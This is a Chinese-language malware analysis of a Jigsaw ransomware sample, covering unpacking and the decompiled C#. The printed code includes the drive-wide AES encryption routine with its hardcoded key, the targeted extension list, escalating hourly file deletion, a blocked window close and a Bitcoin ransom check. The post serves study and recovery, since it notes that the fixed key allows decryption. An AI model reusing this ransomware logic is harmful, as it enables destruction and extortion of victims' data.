Jigsaw勒索軟件分析
近期通過團隊威脅情報監控發現瀏覽安全情報[1]是一個勒索軟件,會把握受害人心理,一點一點刪除文件來威脅受害者。于是找到個樣本分析。
樣本信息
來源: app.any.run
md5: 2773e3dc59472296cb0024ba7715a64e
文件名: jigsaw.bin
執行情況



初步分析
使用exeinfope加載,得到

加了ConfuseEx殼,去Google看看有沒已有的殼,找到了[2],下載下來,執行脫殼操作
> ConfuserEx-Unpacker-v2.0\bin\ConfuserEx-Unpacker.exe jigsaw.bin\jigsaw.bin
主函數分析
主函數new了一個FormBackground,初始化參數后調用this.InitializeComponent();
private void InitializeComponent()
{
this.components = new Container();
this.timerActivateChecker = new Timer(this.components);
base.SuspendLayout();
this.timerActivateChecker.Enabled = true;
this.timerActivateChecker.Tick += this.timerActivateChecker_Tick;
base.AutoScaleDimensions = new SizeF(6f, 13f);
base.AutoScaleMode = AutoScaleMode.Font;
base.ClientSize = new Size(284, 262);
base.Name = "FormBackground";
this.Text = "Form1";
base.ResumeLayout(false);
}
首先設置一個計時器,定期調用timerActivateChecker_Tick方法,并且設置標題和名稱后恢復顯示
定時方法分析
private void timerActivateChecker_Tick(object sender, EventArgs e)
{
if (Config.Activated)
{
return;
}
if (!Hacking.ShouldActivate())
{
return;
}
Config.Activated = true;
Locker.EncryptFileSystem();
new FormGame().Show(this);
}
首先檢查Activated防止重復執行,然后加密文件系統,并顯示FormGame
加密分析
internal static void EncryptFileSystem()
{
HashSet<string> extensionsToEncrypt = new HashSet<string>(Locker.GetExtensionsToEncrypt());
foreach (string dirPath in from drive in DriveInfo.GetDrives()
select drive.RootDirectory.FullName)
{
Locker.EncryptFiles(dirPath, ".fun", extensionsToEncrypt);
}
if (!File.Exists(Locker.EncryptedFileListPath))
{
string[] contents = Locker.EncryptedFiles.ToArray<string>();
File.WriteAllLines(Locker.EncryptedFileListPath, contents);
}
}
首先設置要加密的文件擴展名,這些內容寫在資源文件中,包括如下
.jpg .jpeg .raw .tif .gif .png .bmp\r.3dm .max\r.accdb .db .dbf .mdb .pdb .sql\r.dwg .dxf\r.c .cpp .cs .h .php .asp .rb .java .jar .class .py .js\r.aaf .aep .aepx .plb .prel .prproj .aet .ppj .psd .indd .indl .indt .indb .inx .idml .pmd .xqx .xqx .ai .eps .ps .svg .swf .fla .as3 .as\r.txt .doc .dot .docx .docm .dotx .dotm .docb .rtf .wpd .wps .msg .pdf .xls .xlt .xlm .xlsx .xlsm .xltx .xltm .xlsb .xla .xlam .xll .xlw .ppt .pot .pps .pptx .pptm .potx .potm .ppam .ppsx .ppsm .sldx .sldm\r.wav .mp3 .aif .iff .m3u .m4u .mid .mpa .wma .ra .avi .mov .mp4 .3gp .mpeg .3g2 .asf .asx .flv .mpg .wmv .vob .m3u8\r.dat .csv .efx .sdf .vcf .xml .ses\r.Qbw .QBB .QBM .QBI .QBR \r.Cnt .Des .v30 .Qbo .Ini .Lgb .Qwc .Qbp .Aif .Qba .Tlg .Qbx .Qby \r.1pa .Qpd .Txt .Set .Iif \r.Nd .Rtp .Tlg .Wav .Qsm .Qss .Qst .Fx0 .Fx1 .Mx0 .FPx .Fxr .Fim .ptb .Ai .Pfb .Cgn .Vsd .Cdr .Cmx .Cpt .Csl .Cur .Des .Dsf .Ds4\r .Drw .Dwg.Eps .Ps .Prn .Gif .Pcd .Pct .Pcx .Plt .Rif .Svg .Swf .Tga .Tiff .Psp .Ttf .Wpd .Wpg .Wi .Raw .Wmf .Txt .Cal .Cpx .Shw .Clk .Cdx .Cdt .Fpx .Fmv .Img .Gem .Xcf .Pic .Mac .Met \r.PP4 .Pp5 .Ppf .Xls .Xlsx .Xlsm .Ppt .Nap .Pat .Ps .Prn .Sct .Vsd .wk3 .wk4 .XPM .zip .rar
然后枚舉文件并加密
private static void EncryptFiles(string dirPath, string encryptionExtension, HashSet<string> extensionsToEncrypt)
{
IEnumerable<string> files = Locker.GetFiles(dirPath);
Func<string, IEnumerable<string>> <>9__0;
Func<string, IEnumerable<string>> collectionSelector;
if ((collectionSelector = <>9__0) == null)
{
collectionSelector = (<>9__0 = ((string file) => extensionsToEncrypt));
}
foreach (string text in from <>h__TransparentIdentifier0 in files.SelectMany(collectionSelector, (string file, string ext) => new
{
file,
ext
})
where <>h__TransparentIdentifier0.file.EndsWith(<>h__TransparentIdentifier0.ext)
select <>h__TransparentIdentifier0.file into file
select new
{
file = file,
fi = new FileInfo(file)
} into t
where t.fi.Length < 10000000L
select t.file)
{
try
{
if (Locker.EncryptFile(text, encryptionExtension))
{
Locker.EncryptedFiles.Add(text);
}
}
catch{}
}
}
加密時還考慮到了文件大小不大于10000000字節,加密后的文件擴展名為.fun,加密成果后會添加到文件列表中
private static bool EncryptFile(string path, string encryptionExtension)
{
try
{
if (Config.StartMode != Config.StartModeType.Debug && (path.StartsWith(Config.WorkFolderPath, StringComparison.InvariantCulture) || path.StartsWith("C:\\Windows", StringComparison.InvariantCultureIgnoreCase)))
{
return false;
}
using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
{
aesCryptoServiceProvider.Key = Convert.FromBase64String("OoIsAwwF23cICQoLDA0ODe==");
aesCryptoServiceProvider.IV = new byte[]
{0,1,0,3,5,3,0,1,0,0,2,0,6,7,6,0
};
Locker.EncryptFile(aesCryptoServiceProvider, path, path + encryptionExtension);
}
}
catch
{
return false;
}
try
{
File.Delete(path);
}
catch (Exception)
{
return false;
}
return true;
}
實際加密使用AES算法,但是對于程序自身目錄不加密,Windows目錄不加密。但是加密的key和IV是固定的,所以文件可以解密。
另外下面還有個解密函數
private static void DecryptFile(string path, string encryptionExtension)
{
try
{
if (!path.EndsWith(encryptionExtension))
{
return;
}
string outputFile = path.Remove(path.Length - 4);
using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
{
aesCryptoServiceProvider.Key = Convert.FromBase64String("OoIsAwwF23cICQoLDA0ODe==");
aesCryptoServiceProvider.IV = new byte[]
{//...
};
Locker.DecryptFile(aesCryptoServiceProvider, path, outputFile);
}//...
}
回到Main.Tools.Locker類,加密之后會將文件列表保存在Workdir\EncryptedFileList.txt中
FormGame分析
構造函數調用了一個方法
private void InitializeComponent()
{
this.components = new Container();
this.labelWelcome = new Label();
this.timerTypingEffect = new Timer(this.components);
this.labelTask = new Label();
this.textBoxAddress = new TextBox();
this.buttonCheckPayment = new Button();
this.buttonViewEncryptedFiles = new Button();
this.timerCountDown = new Timer(this.components);
this.labelCountDown = new Label();
this.labelFilesToDelete = new Label();
base.SuspendLayout();
this.labelWelcome.AutoSize = true;
this.labelWelcome.BackColor = Color.Black;
this.labelWelcome.Font = new Font("Lucida Console", 12f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.labelWelcome.ForeColor = Color.Lime;
this.labelWelcome.Location = new Point(25, 29);
this.labelWelcome.Name = "labelWelcome";
this.labelWelcome.Size = new Size(218, 16);
this.labelWelcome.TabIndex = 0;
this.labelWelcome.Text = "I want to play a game";
this.timerTypingEffect.Tick += this.timerTypingEffect_Tick;
this.labelTask.AutoSize = true;
this.labelTask.BackColor = Color.Black;
this.labelTask.Font = new Font("Lucida Console", 12f, FontStyle.Bold, GraphicsUnit.Point, 0);
this.labelTask.ForeColor = Color.Lime;
this.labelTask.Location = new Point(25, 505);
this.labelTask.Name = "labelTask";
this.labelTask.Size = new Size(239, 16);
this.labelTask.TabIndex = 1;
this.labelTask.Text = "All you have to do...";
this.textBoxAddress.Location = new Point(28, 524);
this.textBoxAddress.Name = "textBoxAddress";
this.textBoxAddress.Size = new Size(348, 20);
this.textBoxAddress.TabIndex = 2;
this.textBoxAddress.Text = "12Xspzstah37626slkwKhsKSHA";
this.buttonCheckPayment.BackColor = Color.Gold;
this.buttonCheckPayment.Location = new Point(28, 551);
this.buttonCheckPayment.Name = "buttonCheckPayment";
this.buttonCheckPayment.Size = new Size(348, 33);
this.buttonCheckPayment.TabIndex = 3;
this.buttonCheckPayment.Text = "I made a payment, now give me back my files!";
this.buttonCheckPayment.UseVisualStyleBackColor = false;
this.buttonCheckPayment.Click += this.buttonCheckPayment_Click;
this.buttonViewEncryptedFiles.BackColor = Color.Gray;
this.buttonViewEncryptedFiles.Location = new Point(28, 479);
this.buttonViewEncryptedFiles.Name = "buttonViewEncryptedFiles";
this.buttonViewEncryptedFiles.Size = new Size(348, 23);
this.buttonViewEncryptedFiles.TabIndex = 4;
this.buttonViewEncryptedFiles.Text = "View encrypted files";
this.buttonViewEncryptedFiles.UseVisualStyleBackColor = false;
this.buttonViewEncryptedFiles.Click += this.buttonViewEncryptedFiles_Click;
this.timerCountDown.Interval = 1000;
this.timerCountDown.Tick += this.timerCountDown_Tick;
this.labelCountDown.AutoSize = true;
this.labelCountDown.BackColor = Color.Black;
this.labelCountDown.BorderStyle = BorderStyle.Fixed3D;
this.labelCountDown.Font = new Font("Lucida Sans Unicode", 48f, FontStyle.Bold, GraphicsUnit.Point, 0);
this.labelCountDown.ForeColor = Color.DarkRed;
this.labelCountDown.Location = new Point(28, 320);
this.labelCountDown.Name = "labelCountDown";
this.labelCountDown.Size = new Size(220, 80);
this.labelCountDown.TabIndex = 5;
this.labelCountDown.Text = "59:59";
this.labelFilesToDelete.AutoSize = true;
this.labelFilesToDelete.BackColor = Color.Black;
this.labelFilesToDelete.Font = new Font("Lucida Console", 12f, FontStyle.Bold);
this.labelFilesToDelete.ForeColor = Color.Lime;
this.labelFilesToDelete.Location = new Point(24, 455);
this.labelFilesToDelete.Name = "labelFilesToDelete";
this.labelFilesToDelete.Size = new Size(261, 16);
this.labelFilesToDelete.TabIndex = 6;
this.labelFilesToDelete.Text = "1 file will be deleted.";
base.AutoScaleDimensions = new SizeF(6f, 13f);
base.AutoScaleMode = AutoScaleMode.Font;
this.BackgroundImage = Resources.Jigsaw;
base.ClientSize = new Size(840, 596);
base.Controls.Add(this.labelFilesToDelete);
base.Controls.Add(this.labelCountDown);
base.Controls.Add(this.buttonViewEncryptedFiles);
base.Controls.Add(this.buttonCheckPayment);
base.Controls.Add(this.textBoxAddress);
base.Controls.Add(this.labelTask);
base.Controls.Add(this.labelWelcome);
base.Name = "FormGame";
base.FormClosing += this.FormGame_FormClosing;
base.Load += this.FormGame_Load;
base.ResumeLayout(false);
base.PerformLayout();
}
主要有一下要素
- 收款錢包地址
12Xspzstah37626slkwKhsKSHA。需要注意的是這里的地址并不是最終地址,而是為了可擴展性放在Config類中的地址 - 設置了一下查看文件列表的監聽器
- 設置了一個計時器
timerCountDown_Tick - 設置了窗口關閉時的監聽器
FormGame_FormClosing - 設置了Load的監聽器
FormGame_Load - 設置了支付檢查按鈕
buttonCheckPayment_Click
計時器方法分析
private void timerCountDown_Tick(object sender, EventArgs e)
{
if (FormGame._timeLeftSec > 0)
{
FormGame._timeLeftSec--;
int num = FormGame._timeLeftSec / 60;
int num2 = FormGame._timeLeftSec % 60;
this.labelCountDown.Text = num + ":" + num2;
return;
}
FormGame._timeLeftSec = 3600;
int num3 = (int)Math.Pow(1.1, (double)FormGame._exponent);
this.labelFilesToDelete.Text = num3 + " files will be deleted";
FormGame._exponent++;
FormGame.DeleteFiles(num3);
}
每隔一小時刪除一定數量的文件,刪除的文件數量為以1.1為底呈指數增長的數字。
隨著時間的推移,受害者的越來越多的文件會被刪除,多少有點殺人誅心了。
窗口關閉監聽器分析
private void FormGame_FormClosing(object sender, FormClosingEventArgs e)
{
e.Cancel = true;
MessageBox.Show(this, "You are about to make a very bad decision. Are you sure about it?");
}
禁止關閉窗口,并顯示一個有警告意味的彈窗
FormGame_Load分析
private void FormGame_Load(object sender, EventArgs e)
{
base.MaximizeBox = false;
base.MinimizeBox = false;
base.StartPosition = FormStartPosition.CenterScreen;
Windows.MakeTopMost(this);
this.timerTypingEffect.Interval = 125;
this.timerTypingEffect.Enabled = true;
this.labelWelcome.Text = "";
this.labelTask.Text = Config.TaskMessage;
this.labelTask.Visible = false;
this.textBoxAddress.ReadOnly = true;
this.textBoxAddress.Text = FormGame.GetBitcoinAddess();
this.textBoxAddress.Visible = false;
this.buttonCheckPayment.Visible = false;
this.buttonViewEncryptedFiles.Visible = false;
this.labelCountDown.Visible = false;
this.timerCountDown.Enabled = false;
this.labelFilesToDelete.Visible = false;
if (FormGame.DidRun())
{
FormGame.DeleteFiles(1000);
}
}
禁用最大化、最小化、關閉按鈕,并且如果已經運行了
private static bool DidRun()
{
string path = Path.Combine(Config.WorkFolderPath, "dr");
if (File.Exists(path))
{
return true;
}
File.WriteAllText(path, "21");
return false;
}
就刪除文件。可以看到病毒是以工作目錄下的dr文件確認是否已經運行的
buttonCheckPayment_Click支付檢查按鈕分析
private void buttonCheckPayment_Click(object sender, EventArgs e)
{
try
{
double price = Blockr.GetPrice();
int num = (int)(Blockr.GetBalanceBtc(FormGame.GetBitcoinAddess()) * price);
if (num > Config.RansomUsd)
{
this.timerCountDown.Stop();
this.buttonCheckPayment.Enabled = false;
this.buttonCheckPayment.BackColor = Color.Lime;
this.buttonCheckPayment.Text = "Great job, I'm decrypting your files...";
MessageBox.Show(this, "Decrypting your files. It will take for a while. After done I will close and completely remove myself from your computer.", "Great job");
Locker.DecryptFiles(".fun");
Hacking.RemoveItself();
}
else if (num > 0)
{
this.buttonCheckPayment.BackColor = Color.Tomato;
this.buttonCheckPayment.Text = "You did not sent me enough! Try again!";
}
else
{
this.buttonCheckPayment.BackColor = Color.Tomato;
this.buttonCheckPayment.Text = "You haven't made payment yet! Try again!";
}
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString());
this.buttonCheckPayment.Text = "Are you connected to the internet? Try again!";
this.buttonCheckPayment.BackColor = Color.Tomato;
}
}
檢查錢包中的比特幣換算成美元是否達到要求的數值,如果已經支付就解密文件。
總結
總體來說病毒邏輯不算困難,但是會拿捏人的心理,一點一點刪除受害者的文件,讓受害者逐步崩潰。根據[1],該勒索軟件可能是醫生開發,可以說非常專業了。
如果中招了不要慌,立即拔除電源并重啟,使用文件中的密鑰和IV解密即可。即使有部分文件刪除了,也可以嘗試通過磁盤恢復工具恢復。當然,保險的方法當然是另找一臺計算機,放上磁盤后解密。